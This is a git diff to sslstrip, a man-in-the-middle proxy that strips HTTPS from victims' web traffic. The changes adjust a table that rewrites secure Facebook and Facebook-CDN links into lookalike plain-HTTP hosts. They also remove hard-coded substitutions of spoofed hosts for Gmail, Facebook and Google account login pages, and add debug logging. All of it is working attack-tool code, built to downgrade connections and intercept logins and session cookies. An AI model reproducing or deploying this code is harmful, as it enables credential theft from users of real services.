diff --git a/sslstrip/ClientRequest.py b/sslstrip/ClientRequest.py index 65dfed2..0695ae5 100644 --- a/sslstrip/ClientRequest.py +++ b/sslstrip/ClientRequest.py @@ -34,6 +34,9 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache +def NUEVO_LOG(str): + return + class ClientRequest(Request): ''' This class represents incoming client requests and is essentially where @@ -52,7 +55,6 @@ class ClientRequest(Request): def cleanHeaders(self): headers = self.getAllHeaders().copy() - if 'accept-encoding' in headers: del headers['accept-encoding'] @@ -75,7 +77,7 @@ class ClientRequest(Request): host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) headers['host'] = host - headers['securelink'] = '1' + #headers['securelink'] = '1' self.setHeader('Host',host) return headers diff --git a/sslstrip/ClientRequest.pyc b/sslstrip/ClientRequest.pyc index e173b64..1503cd7 100644 Binary files a/sslstrip/ClientRequest.pyc and b/sslstrip/ClientRequest.pyc differ diff --git a/sslstrip/CookieCleaner.pyc b/sslstrip/CookieCleaner.pyc index d206e25..835eebc 100644 Binary files a/sslstrip/CookieCleaner.pyc and b/sslstrip/CookieCleaner.pyc differ diff --git a/sslstrip/DnsCache.pyc b/sslstrip/DnsCache.pyc index 8b0f308..db7b346 100644 Binary files a/sslstrip/DnsCache.pyc and b/sslstrip/DnsCache.pyc differ diff --git a/sslstrip/SSLServerConnection.pyc b/sslstrip/SSLServerConnection.pyc index b439d9d..3205df0 100644 Binary files a/sslstrip/SSLServerConnection.pyc and b/sslstrip/SSLServerConnection.pyc differ diff --git a/sslstrip/ServerConnection.pyc b/sslstrip/ServerConnection.pyc index dc52cf8..d6df274 100644 Binary files a/sslstrip/ServerConnection.pyc and b/sslstrip/ServerConnection.pyc differ diff --git a/sslstrip/ServerConnectionFactory.pyc b/sslstrip/ServerConnectionFactory.pyc index 09967b1..1eb47d0 100644 Binary files a/sslstrip/ServerConnectionFactory.pyc and b/sslstrip/ServerConnectionFactory.pyc differ diff --git a/sslstrip/StrippingProxy.pyc b/sslstrip/StrippingProxy.pyc index 1ba2817..8213fb6 100644 Binary files a/sslstrip/StrippingProxy.pyc and b/sslstrip/StrippingProxy.pyc differ diff --git a/sslstrip/URLMonitor.py b/sslstrip/URLMonitor.py index a6c167a..b380f03 100644 --- a/sslstrip/URLMonitor.py +++ b/sslstrip/URLMonitor.py @@ -17,7 +17,7 @@ class URLMonitor: real = {} # LEO: diccionario host / real patchDict = { 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', - 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', + 'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com', 'return"https:"':'return"http:"' } @@ -26,23 +26,14 @@ class URLMonitor: self.strippedURLPorts = {} self.faviconReplacement = False - self.sustitucion["mail.google.com"] = "gmail.google.com" - self.real["gmail.google.com"] = "mail.google.com" - - self.sustitucion["www.facebook.com"] = "social.facebook.com" - self.real["social.facebook.com"] = "www.facebook.com" - - self.sustitucion["accounts.google.com"] = "cuentas.google.com" - self.real["cuentas.google.com"] = "accounts.google.com" - - self.sustitucion["accounts.google.es"] = "cuentas.google.es" - self.real["cuentas.google.es"] = "accounts.google.es" - def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: if (re.match(expression, url)): + logging.debug("JavaScript trickery!") return True + if (client, url) in self.strippedURLs: + logging.debug("(%s, %s) in strippedURLs" % (client, url)) return (client,url) in self.strippedURLs def getSecurePort(self, client, url): diff --git a/sslstrip/URLMonitor.pyc b/sslstrip/URLMonitor.pyc index 34b458d..7b107ea 100644 Binary files a/sslstrip/URLMonitor.pyc and b/sslstrip/URLMonitor.pyc differ diff --git a/sslstrip/__init__.pyc b/sslstrip/__init__.pyc index 918c441..ce51fc1 100644 Binary files a/sslstrip/__init__.pyc and b/sslstrip/__init__.pyc differ